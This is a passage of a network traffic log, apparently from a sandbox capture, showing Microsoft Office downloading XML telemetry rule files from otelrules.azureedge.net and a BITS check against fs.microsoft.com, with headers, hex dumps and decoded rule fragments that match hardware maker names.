R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:15 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093715Z-16547b76f7f22sh5hC1DFWyb4w0000000fdg000000003xc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:15 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:15 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:15 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ec03aeec-b01e-005c-7ba1-344c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093715Z-17df447cdb5jg4kthC1DFWux4n0000000bwg00000000030f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:15 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:16 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:16 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 57085b9e-f01e-005d-1ca2-3413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093716Z-17df447cdb5g2j9ghC1DFWuyag0000000620000000001f28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:16 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:16 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 231ce337-901e-0083-5701-2dbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093716Z-16547b76f7fnlcwwhC1DFWz6gw0000000fhg0000000073ym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:16 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f61e936b-a01e-006f-0ea2-3413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093716Z-17df447cdb5vp9l9hC1DFW5hw800000007ag00000000a53m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:16 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2e90e071-a01e-0098-64a3-348556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093716Z-15869dbbcc6zbpm7hC1DFW75xg00000008pg00000000btva x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:16 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:16 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 8d97175c-301e-005d-0fa7-34e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093716Z-15869dbbcc6vr5dxhC1DFWyw4g00000001gg0000000087nz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:16 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49761	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:16 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 09:37:16 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=198465 Date: Tue, 12 Nov 2024 09:37:16 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:17 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:17 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 0fa334ae-601e-005c-71a1-34f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093717Z-15869dbbcc6r45wghC1DFWk35n00000002m0000000004xbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:17 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:17 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: e1bc049e-701e-003e-11a5-3479b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093717Z-15869dbbcc6vr5dxhC1DFWyw4g00000001kg000000003wke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:17 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093717Z-16547b76f7fkj7j4hC1DFW0a9g0000000fb000000000c9ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:17 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:17 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 0559421d-e01e-000c-5ba0-348e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093717Z-17df447cdb5l865xhC1DFW9n7g00000008r00000000033za x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:17 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:17 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:17 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:17 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093717Z-16547b76f7f22sh5hC1DFWyb4w0000000fb0000000007rmt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
